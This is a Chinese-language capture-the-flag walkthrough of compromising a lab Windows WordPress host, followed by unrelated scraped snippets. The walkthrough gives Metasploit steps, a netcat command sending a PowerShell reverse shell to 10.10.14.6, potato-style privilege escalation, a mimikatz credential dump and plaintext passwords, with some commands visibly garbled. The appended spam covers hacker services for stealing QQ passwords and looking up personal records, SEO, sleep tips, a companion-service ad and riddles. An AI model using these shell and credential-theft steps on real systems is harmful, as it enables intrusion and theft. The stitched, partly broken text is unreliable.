目标网站ip:10.10.10.29最终目的:拿到flag,提升到管理员权限。
发现开放了80和3306俩个端口
发现有个登录页面,根据提示是上个靶场的账号和密码,登录进去
账号:admin
密码:P@s5w0rd!
msfconsole //进入kali的metasploit攻击框架
search wp_admin? //查找wordpress获取webshell的利用模块
use 0? //使用编号为0的模块
show options //显示设置需要配置的参数
设置参数
成功获得权限,但回连之后特别容易断
查看系统信息
Kaili端就会返回一个cmd命令行
用刚才获取到的nc shell在目标机器上生成一个批处理文件,目的是让netcat将靶机的powershell发送至kali的1111端口
echo START C:\inetpub\wwwroot\wordpress\wp-content?ds c64.exe -e powershell.exe 10.10.14.6 1111 > shell.bat
使用多汁的土豆这个工具去执行生成shell.bat,并设置监听端口1111
JP.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content?ds ihao.bat -l 1337
但奇怪的是,1111端口一直没有返回监听,可能设置出来问题我就改了端口,改为了4567就返回了shell,提权成功,是管理员权限
上传mimikatz到靶机上去
执行mimikatz命令获取域内账户和密码
获得了一个账号名:sandra 密码:Password1234!
找黑客找回qq密码靠谱吗相关问题 模拟看门狗黑客软件相关问题 黑客工具HackTool怎么杀掉 人肉查户籍(人肉户籍查询)...
我们做SEO时主要关注的数据是收录量和排名,而百度索引量相对来说容易被忽视,但百度索引量是收录的前提,可以导致网站SEO出现诸多问题,因此我们不能忽视百度索引量,根据百度索引量我们还可以做诸多SEO策...
【设多个闹钟反复惊醒可致慢性疲劳 你有多久没睡好觉了?】睡得久不如睡得好!重要的不是睡8小时而是睡够睡眠周期 ,每晚完成4~5个睡眠周期,每周期90~110分钟,可极大改善睡眠质量;设多个闹钟反复惊醒...
“2018冬季西藏结伴游-【孙文涛】” 来自[厦门市]的顾客:我经常性公出上海,可以给我变竖1个做伴游吗,就本次的女孩,服务很好,脾性也好。预约商务价格表所在地:成都私人导游接待:4758米/天骆宝梦...
水果迷语(水果谜语 儿童谜语大全) 【水果谜语大全】【水果谜语大全及答案】 1、外面裹红布,里面是白布,打开仔细看,排着小木梳。(打一水果)【答案】橘子 2、 胖胖圆圆不长毛,又像橘子...
wps优势对比: 1、体积小; 2、安装速度快; 3、多界面切换; 4、内质丰富的资源和在线素材; 5、提供知识库和在线提问中心; 6、多种文档创作工具; 7、深度兼容...